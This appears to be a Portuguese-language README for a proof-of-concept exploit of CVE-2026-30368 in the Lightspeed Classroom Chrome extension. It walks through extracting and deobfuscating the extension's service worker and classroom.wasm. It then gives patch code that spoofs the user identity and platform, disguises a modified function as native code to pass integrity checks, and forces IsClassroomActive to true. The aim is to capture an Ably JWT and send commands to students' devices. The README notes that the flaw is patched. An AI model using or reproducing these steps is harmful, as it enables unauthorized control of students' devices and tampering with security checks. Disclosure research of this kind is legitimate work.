
Prova de conceito de exploit para CVE-2026-30368, demonstrando bypass de autenticação no Lightspeed Classroom para controlar dispositivos de alunos via canal Ably.
[!IMPORTANT]
Isto está corrigido e agora requer credenciais, use a solução alternativa para realizar ações em si mesmo.
CVE-2026-30368 permite que um atacante controle dispositivos de estudantes através de uma falha de autenticação fraca na gestão do Lightspeed Classroom. O POC (poc.js) executa o service worker da extensão LS Classroom em contexto global. O worker também executa classroom.wasm para algumas funções. wasm-loader.js carrega o worker e extrai o token JWT gerado por classroom.wasm. Uma vez extraído, ele encerra o worker e, em seguida, envia o token para as APIs do Lightspeed para receber um token usado para se conectar ao canal Ably do alvo. A partir daí, um atacante poderia enviar um comando para um dispositivo de estudante. A lista de comandos e muitas mais informações estão na análise completa localizada aqui.
[!IMPORTANT]
IMPORTANTE: Devido a desenvolvimentos recentes, nenhum ficheiro de extensão é necessário para o exploit. O resto do README pode ser ignorado. Basta preencher os valores em oauth-poc.js e seguir as instruções para a depuração remota do Chrome. O README será preservado por razões históricas.
Para evitar problemas, recomendo usar a versão 5.1.2.1763770643. Se precisar de ajuda para adaptar versões mais recentes, terá de o fazer por sua conta.
Pode obter os ficheiros worker.js e classroom.wasm a partir do código-fonte da extensão Lightspeed. Isto pode ser obtido iniciando sessão com a sua conta escolar no Chrome num dispositivo pessoal e depois extraindo o código-fonte da extensão a partir da pasta de extensões localizada no diretório do seu perfil do Chrome. Também pode descarregar manualmente o crx através do URL de atualização.
O método mais fácil deste exploit é primeiro obter classroom.wasm a partir do código-fonte da sua extensão, depois colá-lo no mesmo diretório que wasm-only.js e executar:
$ node wasm-only.js
Insira um e-mail e um ID de cliente quando solicitado. Isso se conectará ao canal ably. Vá para a linha 815 e descomente o que você deseja enviar mensagens. Crédito: ktibow no discord
Depois de ter os arquivos, basta adicioná-los ao diretório do repositório clonado. Você precisará entrar em wasm-loader.js, na função getManifest(), e colar o manifesto da sua extensão lá. Você também precisará adicionar o ID da extensão ao wasm-loader.js no topo.
Faça uma cópia de worker.js com um nome de arquivo de sua preferência. Você precisará dela mais tarde. Você precisará executar worker.js através do webcrack para desofuscar e desminificar, a fim de realizar as modificações necessárias. Ao fazer isso, certifique-se de selecionar apenas as opções "Deobfuscate" e "Unminify". Antes de colar o resultado de volta no seu editor, é recomendável desativar todos os servidores LSP, pois eles removerão variáveis aleatórias e farão o worker quebrar nas etapas seguintes (olhando para você, vtsls...)
Como o service worker será executado no node.js (certifique-se de tê-lo instalado), ele precisará de alguns ajustes para funcionar corretamente. A lógica de extração de JWT também precisa ser adicionada. Adicione as 2 funções a seguir no topo de worker.js:
function valueCallBefore(call, before, func, r) {
const actualWorkerUrl = 'chrome-extension://YOUR_EXTENSION_ID/worker_copy.js'
if (call[0] == "chrome-extension://YOUR_EXTENSION_ID/worker.js") {
return [actualWorkerUrl, call[1]];
}
if (func == chrome.identity.getProfileUserInfo) {
call[1](https://github.com/truekas/ls-poc/blob/master/identity)
return []
}
return before
}
function valueCallAfter(call, after, func, r) {
if (func.name == "toString"){
return 'function getProfileUserInfo() { [native code] }'
}
if (call[0] == "worker.js") {
return "chrome-extension://YOUR_EXTENSION_ID/worker_copy.js"
}
return after
}
Estes serão usados quando modificarmos o runtime wasm do Go para interceptar e modificar valores usados pelo wasm da sala de aula do LS.
Certifique-se de substituir YOUR_EXTENSION_ID pelo ID da sua extensão e worker_copy.js pelo nome do arquivo da cópia do worker.js original que você fez anteriormente.
Em seguida, adicione estas 2 funções dentro da função arrow principal (após o (() => {)
chrome.runtime.getPlatformInfo = function (e) {
e({
"arch": "x86-64",
"nacl_arch": "x86-64",
"os": "cros"
})
return {
"arch": "x86-64",
"nacl_arch": "x86-64",
"os": "cros"
}
}
chrome.identity.getProfileUserInfo = function (e) {
if (e){
e(identity)
} else {
return identity
}
}
Em seguida, você precisa codificar IsClassroomActive como true para poder executar isso fora das redes do campus. Basta alterar a função para sempre retornar true:
_0x22e7ce.exports = {
IsChromebookOnly: _0x218c73,
IsClassroomActive: function () {
return true;
},
LoadPolicy: _0x9069fc
};
Em seguida, procure por syscall/js.valueCall para encontrar a função valueCall que precisa ser modificada. É isso que informa ao wasm um valor JS. Os 2 valores que são interceptados e alterados ao modificar esta função são o caminho de worker.js (ele é alterado para a cópia do seu worker para que a verificação de hash passe) e o valor de chrome.identity.getProfileUserInfo.toString é alterado para dizer native code para que o WASM acredite que pode ser confiável quando na realidade ele foi modificado no topo do arquivo. Para fazer isso, você precisa usar as funções valueCallBefore e valueCallAfter que definimos no topo. Modifique a função valueCall assim (os nomes das variáveis podem variar, mas a estrutura é a mesma):
"syscall/js.valueCall": function (_0x4b3309) {
_0x4b3309 >>>= 0;
try {
var _0x35f3af = _0x3634e7(_0x4b3309 + 8);
var _0x13b354 = Reflect.get(_0x35f3af, _0x221273(_0x4b3309 + 16));
var _0x369f3d = _0x5a331c(_0x4b3309 + 32);
_0x369f3d = valueCallBefore(_0x369f3d, _0x369f3d, _0x13b354, _0x35f3af);
var _0x1b573a = Reflect.apply(_0x13b354, _0x35f3af, _0x369f3d);
_0x1b573a = valueCallAfter(_0x369f3d, _0x1b573a, _0x13b354, _0x35f3af);
_0x4b3309 = _0x489a1f._inst.exports.getsp() >>> 0;
_0x51c0ee(_0x4b3309 + 56, _0x1b573a);
_0x489a1f.mem.setUint8(_0x4b3309 + 64, 1);
} catch (_0x4b14cb) {
_0x4b3309 = _0x489a1f._inst.exports.getsp() >>> 0;
_0x51c0ee(_0x4b3309 + 56, _0x4b14cb);
_0x489a1f.mem.setUint8(_0x4b3309 + 64, 0);
}
},
Quase pronto. Por último, você precisa adicionar código para capturar o JWT. Procure por echoMessages: false e você encontrará a variável que contém a lista de cabeçalhos enviados ao Ably. Logo abaixo disso, adicione esta linha (os nomes das variáveis muito provavelmente não serão precisos, você pode encontrar a mesma linha acessando ablyJwt em authHeaders):
globalThis.__LIGHTSPEED_JWT__ = _0xed754d("ablyJwt");
Isso atribui o JWT a uma variável no escopo global para que o wasm-loader.js (o "harness" que executa o service worker) possa acessá-lo. Isso conclui a modificação do worker. Certifique-se de que todos os seus LSPs ainda estejam desativados. Se eles forem reativados, você poderá ter problemas com variáveis indefinidas mais adiante.
Vá para o arquivo poc.js. No topo, adicione o e-mail e o Customer ID de uma conta na qual você deseja testar (de preferência a sua própria). Usar um customer ID diferente do seu gerará um erro, pois você precisa ter os arquivos worker.js e classroom.wasm corretos correspondentes a esse customer ID.